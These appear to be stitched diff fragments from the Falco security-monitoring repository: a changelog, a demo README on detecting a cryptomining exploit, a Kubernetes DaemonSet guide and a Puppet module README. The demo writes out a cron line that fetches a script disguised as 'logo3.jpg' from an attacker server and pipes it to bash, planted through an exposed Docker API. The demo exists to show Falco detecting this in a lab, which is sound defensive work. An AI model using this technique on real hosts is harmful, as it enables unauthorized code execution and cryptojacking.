 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.9.0
+
+Released 2018-01-18
+
+### Bug Fixes
+
+* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
+* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
+
+### Minor Changes
+
+* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
+
+### Rule Changes
+
+* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
+* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]

+# Demo of Falco Detecting Cryptomining Exploit
+
+## Introduction
+
+Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
+
+Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
+
+## Requirements
+
+In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
+
+## Example architecture
+
+The example consists of the following:
+
+* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
+* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
+* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
+
+All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
+
+A separate container is created to launch the attack:
+
+* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
+
+## Example Walkthrough
+
+### Start everything using docker-compose
+
+To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
+
+Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
+
+You will see fairly verbose output from dockerd:
+
+```
+host-machine_1     | crond: crond (busybox 1.27.2) started, log level 6
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
+host-machine_1     | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
+```
+
+When you see log output like the following, you know that falco is started and ready:
+
+```
+falco_1            | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
+falco_1            | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
+```
+
+### Launch malicious container
+
+To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
+
+The script `launch_malicious_container.sh` performs the necessary POSTs:
+
+* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
+* `http://localhost:2375/containers/create?&name=docker123321-mysql`
+* `http://localhost:2375/containers/docker123321-mysql/start`
+
+Run the script via `bash launch_malicious_container.sh`.
+
+### Examine cron output as malicious software is installed & run
+
+`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
+
+```
+* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
+```
+
+It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg))  from `attacker-server` and run it.
+
+You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
+
+```
+CONTAINER ID        IMAGE               COMMAND                  CREATED              STATUS              PORTS               NAMES
+68ed578bd034        alpine:latest       "/bin/sh -c 'echo '*…"   About a minute ago   Up About a minute                       docker123321-mysql
+```
+
+Once the cron job runs, you will see output like the following:
+
+```
+host-machine_1     | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s

+
+### Observe Falco detecting malicious activity
+
+To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
+
+```
+falco_1            | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+falco_1            | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
+```
+
+### Cleanup
+
+To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

-# Example K8s Services for Falco
+# Example Kubernetes Daemon Sets for Sysdig Falco
 
-The yaml file in this directory installs the following:
- - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
- - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.
+This directory gives you the required YAML files to stand up Sysdig Falco on Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to each node, and thus the ability to monitor any running containers for abnormal behavior. 
+
+The two options are provided to deploy a Daemon Set:
+- `k8s-with-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
+- `k8s-without-rbac` - This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled. 
+
+Also provided:
+- `falco-event-generator-deployment.yaml` - A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.
+
+## Deploying to Kubernetes with RBAC enabled
+
+Since v1.8 RBAC has been available in Kubernetes, and running with RBAC enabled is considered the best practice. The `k8s-with-rbac` directory provides the YAML to create a Service Account for Falco, as well as the ClusterRoles and bindings to grant the appropriate permissions to the Service Account.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
+serviceaccount "falco-account" created
+clusterrole "falco-cluster-role" created
+clusterrolebinding "falco-cluster-role-binding" created
+k8s-using-daemonset$
+```
+
+The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco configuration and make the configuration available to the Falco Pods. This allows you to manage custom configuration without rebuilding and redeploying the underlying Pods. In order to create the ConfigMap you'll need to first need to copy the required configuration from their location in this GitHub repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the configuration should be performed on these copies rather than the original files.
+
+```
+k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
+k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
+```
+
+If you want to send Falco alerts to a Slack channel, you'll want to modify the `falco.yaml` file to point to your Slack webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Add the below to the bottom of the `falco.yaml` config file you just copied to enable Slack messages.
+
+```
+program_output:
+  enabled: true
+  keep_alive: false
+  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
+```
+
+You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes. 
+
+```
+k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
+configmap "falco-config" created
+k8s-using-daemonset$
+```
+
+Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
+daemonset "falco" created
+k8s-using-daemonset$
+```
+
+
+## Deploying to Kubernetes without RBAC enabled
+
+If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
+```
+
+
+## Verifying the installation
+
+In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
+
+```
+k8s-using-daemonset$ kubectl get pods
+NAME          READY     STATUS    RESTARTS   AGE
+falco-74htl   1/1       Running   0          13h
+falco-fqz2m   1/1       Running   0          13h
+falco-sgjfx   1/1       Running   0          13h
+k8s-using-daemonset$ kubectl exec -it falco-74htl bash
+root@falco-74htl:/# exit
+k8s-using-daemonset$ kubectl logs falco-74htl
+{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
+k8s-using-daemonset$
+``` 
+
+Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events. 
+
+```
+k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
+&& sleep 1 \
+&& kubectl delete -f falco-event-generator-deployment.yaml
+deployment "falco-event-generator-deployment" created
+deployment "falco-event-generator-deployment" deleted
+k8s-using-daemonset$ 
+```

+
+## Overview
+
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+
+#### What kind of behaviors can Falco detect?
+
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
+- A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
+- A server process spawns a child process of an unexpected type
+- Unexpected read of a sensitive file (like `/etc/shadow`)
+- A non-device file is written to `/dev`
+- A standard system binary (like `ls`) makes an outbound network connection
+
+## Module Description
+
+This module configures falco as a systemd service. You configure falco
+to send its notifications to one or more output channels (syslog,
+files, programs).
+
+## Setup
+
+### What falco affects
+
+This module affects the following:
+
+* The main falco configuration file `/etc/falco/falco.yaml`, including
+** Output format (JSON vs plain text)
+** Log level
+** Rule priority level to run
+** Output buffering
+** Output throttling
+** Output channels (syslog, file, program)
+
+### Beginning with falco
+
+To have Puppet install falco with the default parameters, declare the falco class:
+
+``` puppet
+class { 'falco': }
+```
+
+When you declare this class with the default options, the module:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+## Usage
+
+### Enabling file output
+
+To enable file output, set the `file_output` hash, as follows:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+### Enabling program output
+
+To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
+
+``` puppet
+class { 'falco':
+  json_output => 'true',
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Reference
+
+* [**Public classes**](#public-classes)
+    * [Class: falco](#class-falco)
+
+### Public Classes
+
+#### Class: `falco`
+
+Guides the basic setup and installation of falco on your system.
+
+When this class is declared with the default options, Puppet:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+You can simply declare the default `falco` class:
+
+``` puppet
+class { 'falco': }
+```
+
+###### `rules_file`
+
+An array of files for falco to load. Order matters--the first file listed will be loaded first.
+
+Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
+
+##### `json_output`
+
+Whether to output events in json or text.
+
+Default: `false`
+
+##### `log_stderr`
+
+Send falco's logs to stderr. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `false`
+
+##### `log_syslog`
+
+Send falco's logs to syslog. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `true`
+
+##### `log_level`
+
+Minimum log level to include in logs. Note: these levels are
+separate from the priority field of rules. This refers only to the
+log level of falco's internal logging. Can be one of "emergency",
+"alert", "critical", "error", "warning", "notice", "info", "debug".
+
+Default: `info`
+
+##### `priority`
+
+Minimum rule priority level to load and run. All rules having a
+priority more severe than this level will be loaded/run.  Can be one
+of "emergency", "alert", "critical", "error", "warning", "notice",
+"info", "debug".
+
+Default: `debug`
+
+##### `buffered_outputs`
+
+Whether or not output to any of the output channels below is
+buffered.
+
+Default: `true`
+
+##### `outputs_rate`/`outputs_max_burst`
+
+A throttling mechanism implemented as a token bucket limits the
+rate of falco notifications. This throttling is controlled by the following configuration
+options:
+
+* `outputs_rate`: the number of tokens (i.e. right to send a notification)
+   gained per second. Defaults to 1.
+* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
+
+##### `syslog_output
+
+Controls syslog output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `true`.
+
+Example:
+
+``` puppet
+class { 'falco':
+  syslog_output => {
+    'enabled' => 'true',
+  },
+}
+```
+
+##### `file_output`
+
+Controls file output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `filename`: Notifications will be written to this file.
+
+Example:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+##### `program_output
+
+Controls program output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `program`: Notifications will be written to this program.
+
+Example:
+
+``` puppet
+class { 'falco':
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Limitations
+
+The module works where falco works as a daemonized service (generally, Linux only).
+
+## Development
